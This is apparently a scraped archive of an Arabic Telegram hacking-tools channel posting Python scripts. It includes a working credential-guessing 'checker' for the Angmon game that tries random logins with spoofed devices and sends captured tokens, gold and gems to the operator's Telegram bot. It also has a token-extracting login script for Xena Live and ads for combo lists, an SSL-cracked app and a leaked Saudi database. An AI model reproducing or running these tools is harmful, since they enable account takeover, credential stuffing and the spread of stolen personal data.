ادوات بايثون | Python Tools
Ir al canal en Telegram
🐍 مرحبًا بك في قناة Python Tools IQ 📚 شروحات Python للمبتدئين والمحترفين. 🛠️ أدوات ومكتبات بايثون. 💡 حلول للمشاكل البرمجية. 🚀 تحديثات ودروس مستمرة. 👑 المالك: @x_Tongk 👤 المالك الثاني: @YM_51 ⚠️ جميع الشروحات والمحتويات لأغراض تعليمية وتطوير
Mostrar másEl país no está especificadoLa categoría no está especificada
3 024
Suscriptores
+624 horas
-1 2867 días
-5 66030 días
Archivo de publicaciones
Repost from RedFoxiq World
- To retrieve gold and jewelry, enter the main.py file, scroll to the bottom, enter your account ID and token, and it will retrieve the gold and jewelry.
• Xena Live App
تطبيق تروكولر للاتصالات يعرفك علا المتطفلين والنصابين + يعرفك علا الأسماء من خلال الرقم هذا فلان اتصل عليك يطلع الاسم النسخة المدفوعة مجانية لكم⭐️
import httpx
import secrets
import hashlib
import time
import json
def enc_int(value):
out = bytearray()
while value > 0x7f:
out.append((value & 0x7f) | 0x80)
value >>= 7
out.append(value)
return bytes(out)
def decode_varint(data, offset):
value = 0
shift = 0
while True:
byte = data[offset]
value |= (byte & 0x7f) << shift
shift += 7
offset += 1
if not (byte & 0x80):
break
return value, offset
def decode_response(data):
if isinstance(data, str):
data = data.encode('utf-8', errors='ignore')
offset = 5
result = {}
while offset < len(data):
tag = data[offset]
field_num = tag >> 3
wire_type = tag & 0x07
offset += 1
if wire_type == 0:
value, offset = decode_varint(data, offset)
result[field_num] = value
elif wire_type == 2:
length, offset = decode_varint(data, offset)
value = data[offset:offset+length]
offset += length
try:
result[field_num] = value.decode('utf-8')
except:
result[field_num] = value.hex()
return result
def extract_token(raw_str):
if raw_str.startswith("0a") and len(raw_str) > 2:
raw_str = raw_str[2:]
if raw_str.startswith("40") and len(raw_str) > 2:
raw_str = raw_str[2:]
if len(raw_str) > 2:
length = int(raw_str[:2], 16)
if length <= len(raw_str[2:]):
raw_str = raw_str[2 + length:]
return raw_str[:64] if len(raw_str) >= 64 else raw_str
def build_req(phone, pwd_hash, country):
phone_b = phone.encode()
pwd_b = pwd_hash.encode()
country_b = country.encode()
nested = b"\x08" + enc_int(418) + b"\x12" + enc_int(2) + b"05" + b"\x1a" + enc_int(2) + b"IQ" + b"\x22" + enc_int(8) + b"Asiacell" + b"\x2a" + enc_int(8) + b"Asiacell"
proto = b"\x0a" + enc_int(len(phone_b)) + phone_b + b"\x12" + enc_int(len(pwd_b)) + pwd_b + b"\x2a" + enc_int(len(country_b)) + country_b + b"\x32" + enc_int(len(nested)) + nested
return b"\x00" + len(proto).to_bytes(4, "big") + proto
phone = input("Phone: ").strip()
pwd = input("Password: ").strip()
country = input("Country: ").strip().upper()
pwd_hash = hashlib.md5(pwd.encode()).hexdigest()
payload = build_req(phone, pwd_hash, country)
headers = {
"User-Agent": "grpc-java-okhttp/1.61.0",
"content-type": "application/grpc",
"te": "trailers",
"lang": "ar",
"version": "2004000",
"vc": "2004000",
"vn": "2.4.0.0",
"os": "android",
"sys_version": "android-15",
"model": "TECNO+LJ9",
"mcc": "418",
"locale": "ar_EG",
"net_type": "4",
"pkg": "com.xparty.androidapp",
"issue_channel": "1",
"did": secrets.token_hex(8),
"timezone": "3",
"device_level": "HIGH",
"x-sign-version": "v1",
"x-timestamp": str(int(time.time())),
"grpc-timeout": "14999175u",
}
url = "https://rpc-hw.xenalive.me/grpc.login.LoginService/PhoneLogin"
with httpx.Client(http2=True, timeout=30.0) as client:
res = client.post(url, content=payload, headers=headers)
decoded = decode_response(res.content)
message = ""
for field_num, value in decoded.items():
if isinstance(value, str) and len(value) > 5 and not all(c in '0123456789abcdef' for c in value.lower()):
message = value
break
if message:
print(json.dumps({
"error": message,
"status": 0,
}, indent=4, ensure_ascii=False))
else:
token_field = decoded.get(3, "")
token = extract_token(token_field) if isinstance(token_field, str) else ""
signed_token_field = decoded.get(4, "")
signed_token = extract_token(signed_token_field) if isinstance(signed_token_field, str) else ""
print(json.dumps({
"token": token,
"expiry_time": decoded.get(2, 0),
"signed_token": signed_token,
"status": decoded.get(7, 0),
"country": decoded.get(8, ""),
"currency": decoded.get(9, ""),
"user_id": decoded.get(10, ""),
}, indent=4, ensure_ascii=False))
لوكن xenalive كامل مكمل ما ناقصه شيء فقط جيب وشد اتصال معلومات مال ذهب 🤯• اداة صيد يلا شات.
• مفعلة لباچر، اذا تتوقف طبك مرض
• الاداة مثلما گلتلكم قبل راح اسويها 7 دول المجانية.
• اذا توقفت وتكلي مادري وكذا، لا راح افعلها الك واحظرك.
• فقط يطلب منك ايدي حسابك التلي، والبوت يدزلك الصيد الك.
• الصيد اخذه من @Yalalodobot لازم تدز /start علمود يوصلك الصيد، واذا ماوصلك، فالصيد ينحفظ بملف hit.txt.
♕ صورة الصيد @iKingNow دزهن هنا.
♕ شغال فقط لهذا البايثون
https://t.me/Lib_Devil/9
قناة كومبو
Hotmail + Gmail + Netflix +Sony
https://t.me/Combo_Hotmaill
+1
import requests,json,random,string,time,threading,datetime,os
T= input('Token: ')
C=int(input('ID: '))
H={'User-Agent':'UnityPlayer/6000.5.4f1','Content-Type':'application/json'}
N=['TECNO CAMON 20 Pro','Samsung Galaxy S23','Xiaomi Redmi Note 11','OnePlus Nord 2','Google Pixel 6','Infinix Zero 5G']
M=['TECNO TECNO CK7n','SM-S918B','2201116SG','DN2103','GA03846','RMX3372']
def r(l): return ''.join(random.choices(string.ascii_letters+string.digits,k=l))
def e(): return ''.join(random.choices(string.ascii_uppercase+string.ascii_lowercase+string.digits,k=random.randint(3,5)))+''.join(random.choices(string.ascii_uppercase+string.ascii_lowercase+string.digits,k=random.randint(3,5)))+str(random.randint(10,9999))+'@gmail.com'
def p(): return r(random.randint(8,14))
def d(): return {'uid':r(16).lower(),'name':random.choice(N),'model':random.choice(M)}
def s(m):
try:requests.post(f'https://api.telegram.org/bot{T}/sendMessage',json={'chat_id':C,'text':m},timeout=10)
except:pass
def c(email,password):
device=d()
try:
r=requests.post('https://api.angmon.site/api/v1/auth/login',json={'email':email,'password':password,'diagnosticTraceId':r(8),'authType':1,'device':device},headers=H,timeout=15).json()
if r.get('payload',{}).get('access_token'):
u=r['payload']['user'];x=r['payload']
i=f"[✓] {email}\nPass: {password}\nجهاز: {device['name']}\nموديل: {device['model']}\nاسم: {u.get('display_name')}\nUUID: {u.get('uuid')}\nحالة: {u.get('account_status')}\nذهب: {u.get('stats',{}).get('golds')}\nجواهر: {u.get('stats',{}).get('gems')}\nXP: {u.get('stats',{}).get('xp')}\nتوكن: {x.get('access_token')}\n{datetime.datetime.now()}"
print(i+'\n'+'-'*50);s(i);return True
return False
except:return False
def w():
while 1:
x=e();y=p();print(f'[*] {x}|{y}')
if c(x,y):time.sleep(random.uniform(1,3))
else:time.sleep(random.uniform(0.3,0.9))
print('شغال...')
for _ in range(8):threading.Thread(target=w,daemon=True).start()
while 1:time.sleep(1)
🌚🌚🌚🌚🌚🌚🌚🌚🌚🌚🌚
🟢شكير على لعبه انجمون اضغط على اسم العبه و حملها
🟢 رتبها طورها من يمك بعد خسب خبرتك خليها تفحص عشوائي او كومبو وبس
مبرمج الاداه
@r_9he ✅لعبه Angmon.io ( انجمون ) مكسور SSL بل كامل 🔐
الاصدار :- الاخير 💀
هل يوجد كراش :- لا 🤔
شغال طبيعي : - نعم 📮
اخر اصدار :- نعم 👻
الشخص الذي كسره :- @r_9he ✅
الاستفاده:- تستطيعون صنع شكير ايميل و باسورد والخ 😈
تطبيقات اكسرهم 👇
DeF~@r_9he ✅
Angmon.io app completely SSL cracked 🤍
Version: Latest version 💀
Crashes: No🟢
Works normally: Yes✅
Latest version: Yes 💀
Cracked by: @r_9he ✅
Uses: You can create a tool that hacks accounts using email and password, or in other words, an email and password checker, etc. 😈
Apps that break them 👇
DeF~@r_9he ✅
سورس بوت تحميل من تيك توك👇🏻
import os import requests import telebot Abunoor = "توكنك عزيزي " bot = telebot.TeleBot(Abunoor) @bot.message_handler(commands=['start']) def send_welcome(message): bot.reply_to(message, "هلا بيك بوية ارسل رابط ولاتدوخني 🙂🤍") @bot.message_handler(func=lambda message: True) def download_tiktok_video(message): user_url = message.text.strip() if not ("tiktok.com" in user_url or "http" in user_url): bot.reply_to(message, "ابن شسمه ارسل رابط بي حض") return msg = bot.reply_to(message, "رح جيبلك الفيديو دصبر وجهة الحلو 🙂🤍") try: api_url = "https://www.tikwm.com/api/" response = requests.post(api_url, data={'url': user_url, 'hd': 1}, timeout=15).json() if response.get("code") == 0 and "data" in response: video_data = response["data"] download_url = video_data.get("play") or video_data.get("wmplay") images = video_data.get("images") if images: bot.edit_message_text("منشورك بي صور اصبر ارسلها الك", message.chat.id, msg.message_id) for img in images: bot.send_photo(message.chat.id, img) bot.delete_message(message.chat.id, msg.message_id) return bot.edit_message_text("⏳ جاري تحضير الدولمة قصدي الفيديو 😂", message.chat.id, msg.message_id) file_path = f"video_{message.from_user.id}_{message.message_id}.mp4" video_bytes = requests.get(download_url, timeout=30).content with open(file_path, "wb") as f: f.write(video_bytes) with open(file_path, "rb") as video_file: bot.send_video( chat_id=message.chat.id, video=video_file, caption=f"✅ {video_data.get('title', 'تم التحميل ابني 🙂')}", supports_streaming=True ) bot.delete_message(message.chat.id, msg.message_id) else: bot.edit_message_text("فشل جلب الفيديو فكرتنه ولك", message.chat.id, msg.message_id) except Exception as e: bot.edit_message_text(f"خطا وكف المحرك", message.chat.id, msg.message_id) finally: if 'file_path' in locals() and os.path.exists(file_path): os.remove(file_path) if name == 'main': print("البوت شغال 100٪") bot.infinity_polling()
تم اكتمال سورس بوت مميز
انتضرونا بقنوات تفيد اصحاب القنوات + قناة كومبو هوتميل وكومبوات اخرى خاصة بينا
بوت تحويل الملفات بين القنوات
بوت تيليجرام بلغة PHP يحوّل أي ملف جديد يُنشر في القنوات المصدر إلى قناة الوجهة بدون إظهار اسم القناة الأصلية.
المميزات:
تسجيل دخول حساب تيليجرام بالكامل (رقم + كود + 2FA) مع حفظ الجلسة
•
تعيين قناة وجهة واستقبال الملفات المحوّلة فيها
•
إضافة قنوات مصدر متعددة ومراقبتها تلقائياً
•
تحويل الملفات بدون اسم المصدر (بدون «Forwarded from»)
•
دعم جميع أنواع الملفات (صور، فيديو، صوت، مستندات)
•
لوحة أزرار سهلة بالعربي
•
التقنيات: PHP 8.1+ / MadelineProto
قاعدة بيانات السعودية
الحجم : 1GB مضغوطة بالــ RAR
عندما تفك الضغط تصبح اكبر وأكثر
تحتوي على قاعدة بيانات السعودية بتاريخ 2021 و 2025
from datetime import datetime
import requests
def search_image_tineye(image_path):
url = "https://tineye.com/api/v1/result_json/"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
'Accept': 'application/json, text/plain, */*',
'Origin': 'https://tineye.com',
'Referer': 'https://tineye.com/search',
'Cookie': 'sort=score; order=desc; gc=175dd2d3-65e0-4a06-8670-b33ddcdc7709; tineye=JXrn__NsR4U79l44KX_Yl5hMHpY8XdFMXjW-UNiMspdk7kH4N3y4uRMvboR8Zz94K0iTPAi5XMm_DE0LwBr0Y_sTKe2w9E1bmAq0DtB5wFgzhyfRK7aa8Fc6uCutFhJMBdrVFLNuKV0vNiP20Azf0_p7kKqiCzoY-l3VChua6Ks_so1zuvf3e104P-D9GxyqN7tLmPDKdIhhlp89D4xJ7zMMvbfybU4F35A7olwl2vw1xcGPDiLpD8XlC9eM2NKR3MLPrp98YJDOlgAH3bqiz0lQ-6BsJPXQSGzr87xz5eUAZdI8tTh3jnYzx78UueQ7iMsAYw'
}
try:
with open(image_path, 'rb') as f:
files = {'image': f}
response = requests.post(url, headers=headers, files=files)
if response.status_code == 200:
data = response.json()
matches = data.get('matches', [])
if not matches:
print("No results found.")
return
all_results = []
for match in matches:
crawl_date_str = match.get('first_crawl_date')
if crawl_date_str:
crawl_date = datetime.strptime(crawl_date_str, "%Y-%m-%d")
domain = match.get('domain', 'Unknown')
backlink = match.get('backlinks', [{}])[0].get('backlink') if match.get('backlinks') else None
all_results.append({
'date': crawl_date,
'date_str': crawl_date_str,
'domain': domain,
'backlink': backlink
})
all_results.sort(key=lambda x: x['date'])
first_result = all_results[0]
last_result = all_results[-1]
print("="*40)
print(f"Number of results: {len(matches)}")
print("-"*40)
print("📅 First place the image appeared:")
print(f" Date: {first_result['date_str']}")
print(f" Website: {first_result['domain']}")
print(f" Link: {first_result['backlink']}")
print("-"*40)
print("📅 Last place the image appeared:")
print(f" Date: {last_result['date_str']}")
print(f" Website: {last_result['domain']}")
print(f" Link: {last_result['backlink']}")
print("="*40)
else:
print(f"error re: {response.status_code}")
print(response.text)
except Exception as e:
print(f"Error: {e}")
search_image_tineye("C:/Users/Userrrrr/Downloads/https___d1e00ek4ebabms.cloudfront.net_production_a83289ad-567a-4403-a536-099f3d376ce4.jpg")
Source: The image provides you with all its details, including the first place it was posted, the date of the first post, the image's hash code, and other details.